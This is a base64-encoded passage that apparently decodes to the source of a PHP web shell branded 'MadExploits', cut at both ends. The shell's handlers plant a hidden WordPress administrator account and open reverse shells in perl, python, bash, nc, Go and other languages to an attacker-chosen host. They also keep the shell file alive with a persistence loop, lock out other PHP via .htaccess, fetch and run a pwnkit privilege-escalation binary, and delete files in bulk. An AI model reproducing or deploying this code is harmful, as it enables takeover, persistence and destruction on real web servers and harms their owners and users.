j4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gaWQ9Im1vZGFsLWlucHV0Ij48aW5wdXQgdHlwZT0ibnVtYmVyIiBuYW1lPSJjaEZpbGUiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSIwNzc1Ij48L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJ0bi1mb3JtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93Ij4mbmJzcDs8YnV0dG9uIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyBjbG9zZS1idG4tcyI+Q2xvc2U8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8c2NyaXB0PgogICAgICAgICQoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCkgewoKCiAgICAgICAgICAgICQoJyNjcmVhdGVfZm9sZGVyJykuY2xpY2soZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAkKCcubW9kYWwnKS5zaG93KCk7CiAgICAgICAgICAgICAgICAkKCcjbW9kYWwtdGl0bGUnKS5odG1sKCc8aSBjbGFzcz0iZmEtc29saWQgZmEtZm9sZGVyLXBsdXMiPjwvaT4mbmJzcDtDcmVhdGUgRm9sZGVyJyk7CiAgICAgICAgICAgICAgICAkKCcjbW9kYWwtaW5wdXQnKS5odG1sKCc8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3JlYXRlX2ZvbGRlciIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IkNyZWF0ZSBGb2xkZXIiPicpOwogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICQoJyNjcmVhdGVfZmlsZScpLmNsaWNrKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnLm1vZGFsJykuc2hvdygpOwogICAgICAgICAgICAgICAgJCgnI21vZGFsLXRpdGxlJykuaHRtbCgnPGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZpbGUtY2lyY2xlLXBsdXMiPjwvaT4mbmJzcDtDcmVhdGUgRmlsZScpOwogICAgICAgICAgICAgICAgJCgnI21vZGFsLWlucHV0JykuaHRtbCgnPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNyZWF0ZV9maWxlIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iQ3JlYXRlIEZpbGUiPicpOwogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICQoJyNsb2NrLWZpbGUnKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLnNob3coKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC10aXRsZScpLmh0bWwoJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1sb2NrIj48L2k+Jm5ic3A7TE9DSyBGSUxFJyk7CiAgICAgICAgICAgICAgICAkKCcjbW9kYWwtaW5wdXQnKS5odG1sKCc8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibG9ja2ZpbGUiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJZb3VyIEZpbGUgTmFtZSI+Jyk7CiAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgJCgnI3Jvb3QtdXNlcicpLmNsaWNrKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnLm1vZGFsJykuc2hvdygpOwogICAgICAgICAgICAgICAgJCgnI21vZGFsLXRpdGxlJykuaHRtbCgnPGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVzZXItcGx1cyI+PC9pPiZuYnNwO0FERCBVU0VSJyk7CiAgICAgICAgICAgICAgICAkKCcjbW9kYWwtaW5wdXQnKS5odG1sKCc8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYWRkLXVzZXJuYW1lIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iVXNlcm5hbWUiPjxicj48YnI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImFkZC1wYXNzd29yZCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IlBhc3N3b3JkIj4nKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgJCgnI2NyZWF0ZS1yZHAnKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLnNob3coKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC10aXRsZScpLmh0bWwoJzo6IENSRUFURSBSRFAnKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC1pbnB1dCcpLmh0bWwoJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJhZGQtcmRwIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iVXNlcm5hbWUiPjxicj48YnI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImFkZC1yZHAtcGFzcyIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IlBhc3N3b3JkIj4nKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgJCgnI2Nsb3NlLW1vZGFsJykuY2xpY2soZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAkKCcubW9kYWwnKS5oaWRlKCk7CiAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgJCgnI2Nsb3NlLWVkaXRvcicpLmNsaWNrKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnLmNvZGUtZWRpdG9yJykuaGlkZSgpOwogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgfSk7CgogICAgICAgICAgICAkKCcuY2xvc2UtdGVybWluYWwnKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy50ZXJtaW5hbCcpLmhpZGUoKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAkKCcuY2xvc2UtYnRuLXMnKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLmhpZGUoKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwoKCiAgICAgICAgICAgIHZhciBteVRleHRhcmVhID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvZGUiKTsKCiAgICAgICAgICAgIHZhciBlZGl0b3IgPSBDb2RlTWlycm9yLmZyb21UZXh0QXJlYShteVRleHRhcmVhLCB7CiAgICAgICAgICAgICAgICBtb2RlOiAieG1sIiwKICAgICAgICAgICAgICAgIGxpbmVOdW1iZXJzOiB0cnVlLAogICAgICAgICAgICAgICAgdGhlbWU6ICJheXUtbWlyYWdlIiwKICAgICAgICAgICAgICAgIGV4dHJhS2V5czogewogICAgICAgICAgICAgICAgICAgICJDdHJsLVNwYWNlIjogImF1dG9jb21wbGV0ZSIKICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICBoaW50T3B0aW9uczogewogICAgICAgICAgICAgICAgICAgIGNvbXBsZXRlU2luZ2xlOiBmYWxzZSwKICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgIH0pOwoKICAgICAgICB9KTsKICAgIDwvc2NyaXB0Pgo8L2JvZHk+Cgo8L2h0bWw+Cjw/cGhwCgppZiAoaXNzZXQoJF9QT1NUWydzdWJtaXR3cCddKSkgewogICAgJGRiX25hbWUgPSAkX1BPU1RbJ2RiX25hbWUnXTsKICAgICRkYl91c2VyID0gJF9QT1NUWydkYl91c2VyJ107CiAgICAkZGJfcGFzcyA9ICRfUE9TVFsnZGJfcGFzcyddOwogICAgJGRiX2hvc3QgPSAkX1BPU1RbJ2RiX2hvc3QnXTsKICAgICR3cF91c2VyID0gJF9QT1NUWyd3cF91c2VyJ107CiAgICAkd3BfcGFzcyA9IHBhc3N3b3JkX2hhc2goJF9QT1NUWyd3cF9wYXNzJ10sIFBBU1NXT1JEX0RFRkFVTFQpOwoKICAgICRjb25uID0gbmV3IG15c3FsaSgkZGJfaG9zdCwgJGRiX3VzZXIsICRkYl9wYXNzLCAkZGJfbmFtZSk7CgogICAgaWYgKCRjb25uLT5jb25uZWN0X2Vycm9yKSB7CiAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgZGllKCJFcnJvciBDdWcgOiAiIC4gJGNvbm4tPmNvbm5lY3RfZXJyb3IpOwogICAgfQoKICAgICRzcWwgPSAiSU5TRVJUIElOVE8gd3BfdXNlcnMgKHVzZXJfbG9naW4sIHVzZXJfcGFzcywgdXNlcl9uaWNlbmFtZSwgdXNlcl9lbWFpbCwgdXNlcl91cmwsIHVzZXJfcmVnaXN0ZXJlZCwgdXNlcl9hY3RpdmF0aW9uX2tleSwgdXNlcl9zdGF0dXMsIGRpc3BsYXlfbmFtZSkgVkFMVUVTICgnJHdwX3VzZXInLCAnJHdwX3Bhc3MnLCAnTWFkRXhwbG9pdHMnLCAnJywgJycsIE5PVygpLCAnJywgMCwgJ01hZEV4cGxvaXRzJykiOwoKICAgICRzcWx0YWtldXNlcmlkID0gIlNFTEVDVCBJRCBGUk9NIHdwX3VzZXJzIFdIRVJFIHVzZXJfbG9naW4gPSAnJHdwX3VzZXInIjsKCiAgICBpZiAoJGNvbm4tPnF1ZXJ5KCRzcWwpID09PSBUUlVFICYmICRjb25uLT5xdWVyeSgkc3FsdGFrZXVzZXJpZCkpIHsKICAgICAgICAkcmVzdWx0ID0gJGNvbm4tPnF1ZXJ5KCRzcWx0YWtldXNlcmlkKTsKCiAgICAgICAgaWYgKCRyZXN1bHQtPm51bV9yb3dzID4gMCkgewogICAgICAgICAgICAkcm93ID0gJHJlc3VsdC0+ZmV0Y2hfYXNzb2MoKTsKICAgICAgICAgICAgJHVzZXJfaWQgPSAkcm93WyJJRCJdOwoKICAgICAgICAgICAgJHNxbHVzZXJtZXRhID0gIklOU0VSVCBJTlRPIHdwX3VzZXJtZXRhICh1bWV0YV9pZCwgdXNlcl9pZCwgbWV0YV9rZXksIG1ldGFfdmFsdWUpIFZBTFVFUyAoJycsICR1c2VyX2lkLCAnd3BfY2FwYWJpbGl0aWVzJywgJ2E6MTp7czoxMzpcImFkbWluaXN0cmF0b3JcIjtzOjE6XCIxXCI7fScpIjsKCiAgICAgICAgICAgIGlmICgkY29ubi0+cXVlcnkoJHNxbHVzZXJtZXRhKSA9PT0gVFJVRSkgewogICAgICAgICAgICAgICAgU3VjY2VzcygpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZWNobyAiRXJyb3I6ICIgLiAkc3FsdXNlcm1ldGEgLiAiXG4iIC4gJGNvbm4tPmVycm9yOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiVXNlciB0aWRhayBkaXRlbXVrYW4uXG4iOwogICAgICAgIH0KCiAgICAgICAgU3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICJFcnJvcjogIiAuICRzcWwgLiAiXG4iIC4gJGNvbm4tPmVycm9yOwogICAgfQoKICAgICRjb25uLT5jbG9zZSgpOwp9CgoKCmlmIChpc3NldCgkX0dFVFsndW5sb2Nrc2hlbGwnXSkpIHsKICAgIGlmIChjbWQoImtpbGxhbGwgLTkgcGhwIikgJiYgY21kKCJwa2lsbCAtOSBwaHAiKSkgewogICAgICAgIHN1Y2Nlc3MoKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZmFpbGVkKCk7CiAgICB9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdC1iYyddKSkgewogICAgJEhvc3RTZXJ2ZXIgPSAkX1BPU1RbJ2JhY2tjb25uZWN0LWhvc3QnXTsKICAgICRQb3J0U2VydmVyID0gJF9QT1NUWydiYWNrY29ubmVjdC1wb3J0J107CiAgICBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJwZXJsIikgewogICAgICAgIGVjaG8gY21kKCdwZXJsIC1lIFwndXNlIFNvY2tldDskaT0iJyAuICRIb3N0U2VydmVyIC4gJyI7JHA9JyAuICRQb3J0U2VydmVyIC4gJztzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTsnIC4gJGZ1bmdzaVsxNl0gLiAnKCIvYmluL3NoIC1pIik7fTtcJycpOwogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gInB5dGhvbiIpIHsKICAgICAgICBlY2hvIGNtZCgncHl0aG9uIC1jIFwnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIicgLiAkSG9zdFNlcnZlciAuICciLCcgLiAkUG9ydFNlcnZlciAuICcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pO1wnJyk7CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnZ2Vja28tYmMnXSA9PSAicnVieSIpIHsKICAgICAgICBlY2hvIGNtZCgncnVieSAtcnNvY2tldCAtZVwnZj1UQ1BTb2NrZXQub3BlbigiJyAuICRIb3N0U2VydmVyIC4gJyIsJyAuICRQb3J0U2VydmVyIC4gJykudG9faTsnIC4gJGZ1bmdzaVsxNl0gLiAnIHNwcmludGYoIi9iaW4vc2ggLWkgPCYlZCA+JiVkIDI+JiVkIixmLGYsZilcJycpOwogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gImJhc2giKSB7CiAgICAgICAgZWNobyBjbWQoJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvJyAuICRIb3N0U2VydmVyIC4gJy8nIC4gJFBvcnRTZXJ2ZXIgLiAnIDA+JjEnKTsKICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJwaHAiKSB7CiAgICAgICAgZWNobyBjbWQoJ3BocCAtciBcJyRzb2NrPWZzb2Nrb3BlbigiJyAuICRIb3N0U2VydmVyIC4gJyIsJyAuICRQb3J0U2VydmVyIC4gJyk7JyAuICRmdW5nc2lbMTZdIC4gJygiL2Jpbi9zaCAtaSA8JjMgPiYzIDI+JjMiKTtcJycpOwogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gIm5jIikgewogICAgICAgIGVjaG8gY21kKCdybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyAnIC4gJEhvc3RTZXJ2ZXIgLiAnICcgLiAkUG9ydFNlcnZlciAuICcgPi90bXAvZicpOwogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gInNoIikgewogICAgICAgIGVjaG8gY21kKCdzaCAtaSA+JiAvZGV2L3RjcC8nIC4gJEhvc3RTZXJ2ZXIgLiAnLycgLiAkUG9ydFNlcnZlciAuICcgMD4mMScpOwogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gInh0ZXJtIikgewogICAgICAgIGVjaG8gY21kKCd4dGVybSAtZGlzcGxheSAnIC4gJEhvc3RTZXJ2ZXIgLiAnOicgLiAkUG9ydFNlcnZlcik7CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnZ2Vja28tYmMnXSA9PSAiZ29sYW5nIikgewogICAgICAgIGVjaG8gY21kKCdlY2hvIFwncGFja2FnZSBtYWluO2ltcG9ydCJvcy8nIC4gJGZ1bmdzaVsxNl0gLiAnIjtpbXBvcnQibmV0IjtmdW5jIG1haW4oKXtjLF86PW5ldC5EaWFsKCJ0Y3AiLCInIC4gJEhvc3RTZXJ2ZXIgLiAnOicgLiAkUG9ydFNlcnZlciAuICciKTtjbWQ6PWV4ZWMuQ29tbWFuZCgiL2Jpbi9zaCIpO2NtZC5TdGRpbj1jO2NtZC5TdGRvdXQ9YztjbWQuU3RkZXJyPWM7Y21kLlJ1bigpfVwnID4gL3RtcC90LmdvICYmIGdvIHJ1biAvdG1wL3QuZ28gJiYgcm0gL3RtcC90LmdvJyk7CiAgICB9Cn0KCgoKaWYgKGlzc2V0KCRfR0VUWydsb2Nrc2hlbGwnXSkpIHsKICAgICRjdXJGaWxlID0gdHJpbShiYXNlbmFtZSgkX1NFUlZFUlsiXHg1M1x4NDNceDUyXHg0OVx4NTBceDU0XHg1Zlx4NDZceDQ5XHg0Y1x4NDVceDRlXHg0MVx4NGRceDQ1Il0pKTsKICAgICRUbXBOYW1lcyA9ICRmdW5nc2lbMzFdKCk7CiAgICBpZiAoZmlsZV9leGlzdHMoJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiAkZnVuZ3NpWzMzXSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRjdXJGaWxlKSAgLiAnLWhhbmRsZXInKSkgJiYgZmlsZV9leGlzdHMoJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiAkZnVuZ3NpWzMzXSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRjdXJGaWxlKSAuICctdGV4dCcpKSkgewogICAgICAgIGNtZCgncm0gLXJmICcgLiAkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGN1ckZpbGUpIC4gJy10ZXh0JykpOwogICAgICAgIGNtZCgncm0gLXJmICcgLiAkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGN1ckZpbGUpIC4gJy1oYW5kbGVyJykpOwogICAgfQogICAgbWtkaXIoJFRtcE5hbWVzIC4gIi8uc2Vzc2lvbnMiKTsKICAgIGNtZCgiY3AgJGN1ckZpbGUgIiAuICRUbXBOYW1lcyAuICIvLnNlc3Npb25zLy4iIC4gJGZ1bmdzaVszM10oJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgLiAnLXRleHQnKSk7CiAgICBjaG1vZCgkY3VyRmlsZSwgMDQ0NCk7CiAgICAkaGFuZGxlciA9ICcKPD9waHAKQGluaV9zZXQoIm1heF9leGVjdXRpb25fdGltZSIsIDApOwp3aGlsZSAoVHJ1ZSl7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCInIC4gX19ESVJfXyAuICciKSl7CiAgICAgICAgbWtkaXIoIicgLiBfX0RJUl9fIC4gJyIpOwogICAgfQogICAgaWYgKCFmaWxlX2V4aXN0cygiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRjdXJGaWxlIC4gJyIpKXsKICAgICAgICAkdGV4dCA9ICcgLiAkZnVuZ3NpWzMzXSAuICcoZmlsZV9nZXRfY29udGVudHMoIicgLiAkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGN1ckZpbGUpIC4gJy10ZXh0JykgLiAnIikpOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGN1ckZpbGUgLiAnIiwgJyAuICRmdW5nc2lbMzJdIC4gJygkdGV4dCkpOwogICAgfQogICAgaWYgKGdlY2tvX3Blcm0oIicgLiAkZnVuZ3NpWzBdKCkgLiAnLycgLiAkY3VyRmlsZSAuICciKSAhPSAwNDQ0KXsKICAgICAgICBjaG1vZCgiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRjdXJGaWxlIC4gJyIsIDA0NDQpOwogICAgfQogICAgaWYgKGdlY2tvX3Blcm0oIicgLiBfX0RJUl9fIC4gJyIpICE9IDA1NTUpewogICAgICAgIGNobW9kKCInIC4gX19ESVJfXyAuICciLCAwNTU1KTsKICAgIH0KfQoKZnVuY3Rpb24gZ2Vja29fcGVybSgkZmxlbmFtZSl7CiAgICByZXR1cm4gc3Vic3RyKHNwcmludGYoIiVvIiwgZmlsZXBlcm1zKCRmbGVuYW1lKSksIC00KTsKfQonOwogICAgJGhuZGxlcnMgPSAkZnVuZ3NpWzI4XSgkVG1wTmFtZXMgLiAiLy5zZXNzaW9ucy8uIiAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGN1ckZpbGUpICAuICctaGFuZGxlcicpIC4gIiIsICRoYW5kbGVyKTsKICAgIGlmICgkaG5kbGVycykgewogICAgICAgIGNtZChQSFBfQklOQVJZIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiAkZnVuZ3NpWzMzXSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRjdXJGaWxlKSAgLiAnLWhhbmRsZXInKSAuICcgPiAvZGV2L251bGwgMj4vZGV2L251bGwgJicpOwogICAgICAgIHN1Y2Nlc3MoKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZmFpbGVkKCk7CiAgICB9Cn0KaWYgKGlzc2V0KCRfUE9TVFsnZ2Vja28tdXAtc3VibWl0J10pKSB7CiAgICAkbmFtYUZpbGVueWEgPSAkX0ZJTEVTWydnZWNrby11cGxvYWQnXVsnbmFtZSddOwogICAgJHRtcE5hbWUgPSAkX0ZJTEVTWydnZWNrby11cGxvYWQnXVsndG1wX25hbWUnXTsKICAgIGlmICgkZnVuZ3NpWzI5XSgkdG1wTmFtZSwgJGZ1bmdzaVswXSgpIC4gIi8iIC4gJG5hbWFGaWxlbnlhKSkgewogICAgICAgIHN1Y2Nlc3MoKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZmFpbGVkKCk7CiAgICB9Cn0KCmlmIChpc3NldCgkX0dFVFsnZGVzdHJveSddKSkgewogICAgJERPQ19ST09UID0gJF9TRVJWRVJbIlx4NDRceDRmXHg0M1x4NTVceDRkXHg0NVx4NGVceDU0XHg1Zlx4NTJceDRmXHg0Zlx4NTQiXTsKICAgICRDdXJyZW50RmlsZSA9IHRyaW0oYmFzZW5hbWUoJF9TRVJWRVJbIlx4NTNceDQzXHg1Mlx4NDlceDUwXHg1NFx4NWZceDQ2XHg0OVx4NGNceDQ1XHg0ZVx4NDFceDRkXHg0NSJdKSk7CiAgICBpZiAoJGZ1bmdzaVs0XSgkRE9DX1JPT1QpKSB7CiAgICAgICAgJGh0YWNjZXNzID0gJwo8RmlsZXNNYXRjaCAiXC4ocGhwfHBoKnxQaCp8UEgqfHBIKikkIj4KICAgIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXignIC4gJEN1cnJlbnRGaWxlIC4gJ3xpbmRleC5waHB8d3AtY29uZmlnLnBocHx3cC1pbmNsdWRlcy5waHApJCI+CiAgICBBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICJcLihqcGd8cG5nfGdpZnxwZGZ8anBlZykkIj4KICAgIEFsbG93IGZyb20gYWxsCjwvRmlsZXNNYXRjaD4nOwogICAgICAgICRwdXRfaHR0ID0gJGZ1bmdzaVsyOF0oJERPQ19ST09UIC4gIi8uaHRhY2Nlc3MiLCAkaHRhY2Nlc3MpOwogICAgICAgIGlmICgkcHV0X2h0dCkgewogICAgICAgICAgICBzdWNjZXNzKCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBmYWlsZWQoKTsKICAgIH0KfQoKCmlmIChpc3NldCgkX1BPU1RbJ3NhdmUtZWRpdG9yJ10pKSB7CiAgICAkc2F2ZSA9ICRmdW5nc2lbMjhdKCRmdW5nc2lbMF0oKSAuICIvIiAuIHVueCgkX0dFVFsnZiddKSwgJF9QT1NUWydjb2RlLWVkaXRvciddKTsKICAgIGlmICgkc2F2ZSkgewogICAgICAgIHN1Y2Nlc3MoKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZmFpbGVkKCk7CiAgICB9Cn0KCmlmIChpc3NldCgkX0dFVFsnYWRtaW5lciddKSkgewogICAgJFVSTCA9ICJceDY4XHg3NFx4NzRceDcwXHg3M1x4M2FceDJmXHgyZlx4NjdceDY5XHg3NFx4NjhceDc1XHg2Mlx4MmVceDYzXHg2Zlx4NmRceDJmXHg3Nlx4NzJceDYxXHg2ZVx4NjFceDJmXHg2MVx4NjRceDZkXHg2OVx4NmVceDY1XHg3Mlx4MmZceDcyXHg2NVx4NmNceDY1XHg2MVx4NzNceDY1XHg3M1x4MmZceDY0XHg2Zlx4NzdceDZlXHg2Y1x4NmZceDYxXHg2NFx4MmZceDc2XHgzNFx4MmVceDM4XHgyZVx4MzFceDJmXHg2MVx4NjRceDZkXHg2OVx4NmVceDY1XHg3Mlx4MmRceDM0XHgyZVx4MzhceDJlXHgzMVx4MmVceDcwXHg2OFx4NzAiOwogICAgaWYgKCEkZnVuZ3NpWzNdKCdhZG1pbmVyLnBocCcpKSB7CiAgICAgICAgJGZ1bmdzaVsyOF0oImFkbWluZXIucGhwIiwgJGZ1bmdzaVsxMV0oJFVSTCkpOwogICAgICAgIGVjaG8gJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7dXJsPT9kPScgLiBoeCgkZnVuZ3NpWzBdKCkpIC4gJyI+JzsKICAgIH0KfQoKCmlmICgkX0dFVFsndGVybWluYWwnXSA9PSAicm9vdCIpIHsKICAgIGlmICghJGZ1bmdzaVszXSgncHdua2l0JykgJiYgJGZ1bmdzaVs0XSgkZnVuZ3NpWzBdKCkpKSB7CiAgICAgICAgJGZ1bmdzaVsyOF0oInB3bmtpdCIsICRmdW5nc2lbMTFdKCJodHRwczovL2dpdGh1Yi5jb20vTWFkRXhwbG9pdHMvUHJpdmVsZWdlLWVzY2FsYXRpb24vcmF3L21haW4vcHdua2l0IikpOwogICAgICAgIGNtZCgnY2htb2QgK3ggcHdua2l0Jyk7CiAgICAgICAgZWNobyBjbWQoJy4vcHdua2l0ICJpZCIgPiAubWFkLXJvb3QnKTsKICAgICAgICBlY2hvICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0/ZD0nIC4gaHgoJGZ1bmdzaVswXSgpKSAuICcmdGVybWluYWw9cm9vdCI+JzsKICAgIH0KfQoKaWYgKGlzc2V0KCRfUE9TVFsnc3VibWl0LWFjdGlvbiddKSkgewogICAgJGl0ZW1zID0gJF9QT1NUWydjaGVjayddOwogICAgaWYgKCRfUE9TVFsnZ2Vja28tc2VsZWN0J10gPT0gImRlbGV0ZSIpIHsKICAgICAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0KSB7CiAgICAgICAgICAgICRyZXBsID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkZnVuZ3NpWzBdKCkpOyAvLyBVbnR1ayBXaW5kb3dzIFBhdGgKICAgICAgICAgICAgJGZkID0gJHJlcGwgLiAiLyIgLiAkaXQ7CiAgICAgICAgICAgIGlmIChpc19kaXIoJGZkKSB8fCBpc19maWxlKCRmZCkpIHsKICAgICAgICAgICAgICAgICRybWRpciA9IHVubGlua0RpcigkZmQpOwogICAgICAgICAgICAgICAgJHJtZmlsZSA9ICRmdW5nc2lbMjRdKCRmZCk7CiAgICAgICAgICAgICAgICBpZiAoJHJtZGlyIHx8ICRybWZpbGUpIHsKICAgICAgICAgICAgICAgICAgICBzdWNjZXNzKCk7CiAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKCRybWRpciAmJiAkcm1maWxlKSB7CiAgICAgICAgICAgICAgICAgICAgc3VjY2VzcygpOwogICAgICAgIC